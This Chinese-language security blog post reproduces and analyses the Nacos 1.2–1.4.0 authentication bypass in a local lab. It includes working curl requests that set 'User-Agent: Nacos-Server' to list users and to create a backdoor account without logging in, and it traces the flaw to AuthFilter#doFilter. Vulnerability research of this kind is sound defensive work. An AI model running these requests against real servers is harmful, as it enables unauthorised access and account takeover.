nacos 认证绕过安全漏洞

admin 2023年3月12日20:41:15nacos 认证绕过安全漏洞已关闭评论425 views字数 2199阅读7分19秒阅读模式

Nacos /n:ks/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。

Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。

https://nacos.io/zh-cn/docs/auth.html nacos 的鉴权文档

查看鉴权文档时,发现了这么一段话

开启鉴权功能后,服务端之间的请求也会通过鉴权系统的影响。考虑到服务端之间的通信应该是可信的,因此在1.2~1.4.0版本期间,通过User-Agent中是否包含Nacos-Server来进行判断请求是否来自其他服务端。

但这种实现由于过于简单且固定,导致可能存在安全问题。因此从1.4.1版本开始,Nacos添加服务身份识别功能,用户可以自行配置服务端的Identity,不再使用User-Agent作为服务端请求的判断标准。

可以看出在 1.2~1.4.0 的版本期间是存在认证绕过安全漏洞的,是因为 User-Agent 中包含了 Nacos-Server 使得认定请求来自于其他服务端,从而绕过了认证。

环境搭建

我们选择版本 nacos 1.4.0 来对漏洞进行复现 下载安装包后 运行 startup.cmd -m standalone

需要在环境变量中设置 JAVA_HOME ,设置完环境变量后重新打开一个命令行 否则并不生效 ,启动的时候最好用管理员权限启动,否则会出现启动不成功的问题

nacos 认证绕过安全漏洞

默认情况下是没有开启鉴权的,所以需要手动先开启鉴权

nacos 认证绕过安全漏洞

漏洞复现

访问用户列表的接口

curl -XGET "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9" -H "User-Agent: Nacos-Server"

绕过了鉴权,返回了用户列表数据

nacos 认证绕过安全漏洞

nacos 认证绕过安全漏洞

添加新用户

curl -XPOST "http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test" -H "User-Agent: Nacos-Server"

绕过了鉴权,添加了新用户

nacos 认证绕过安全漏洞

再次访问用户列表的接口

curl -XGET "http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9" -H "User-Agent: Nacos-Server"

nacos 认证绕过安全漏洞

我们看到已经成功添加了新的用户

访问 http://192.168.222.1:8848/nacos/index.html#/login 可以利用 test:test 登录成功

nacos 认证绕过安全漏洞

首先我们从比较简单的角度看一下漏洞被发现的原因,我们登录 nacos 的后台后 找到其中的权限控制,点击用户列表抓取数据包

nacos 认证绕过安全漏洞

nacos 认证绕过安全漏洞

删除掉其中关于认证的参数accessToken

nacos 认证绕过安全漏洞

加上 User-Agent: Nacos-Server

利用命令行可以触发成功,添加 User-Agent 头无法触发成功,遇到这种情况我们利用 Wireshark 来抓取数据包来对比不同,最后发现是删除了HTTP/1.1`

nacos 认证绕过安全漏洞

漏洞分析

我们根据https://github.com/alibaba/nacos/issues/4593 中的描述

大概确定了漏洞的位置

nacos 认证绕过安全漏洞

nacos 认证绕过安全漏洞

远程调试 nacos

在启动的 start.cmd 中添加语句 set JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005`

这样添加不能触发调试端口,通过查看启动脚本,定位到启动时的参数 standalone

nacos 认证绕过安全漏洞

加上调试语句,发现启动后的命令行输出为

nacos 认证绕过安全漏洞

在第一次添加参数后一直无法开启调试端口,询问了很多人,最后发现其实大佬在最开始就给出了答案 检查下JAVA_OPTS参数配合对不对,或者值是不是被覆盖了

这边就加上断点,进行一个调试分析

com.alibaba.nacos.core.auth.AuthFilter#doFilter

nacos 认证绕过安全漏洞

我们看到这个地方有两个方式直接跳出了Filter

  • authConfigs.isAuthEnabled() 为 false 也就是没有开启鉴权
  • StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER) 为 true 也就是设置了 userAgent

所以我们设置请求的 User-Agent: Nacos-Server` 就跳过了鉴权实现了未授权对 nacos 服务的任意访问 如读取所有用户信息

com.alibaba.nacos.console.controller.UserController#getUsers

nacos 认证绕过安全漏洞

com.alibaba.nacos.console.security.nacos.users.NacosUserDetailsServiceImpl#getUsersFromDatabase

nacos 认证绕过安全漏洞

com.alibaba.nacos.config.server.auth.EmbeddedUserPersistServiceImpl#getUsers

nacos 认证绕过安全漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:41:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nacos 认证绕过安全漏洞https://cn-sec.com/archives/1599481.html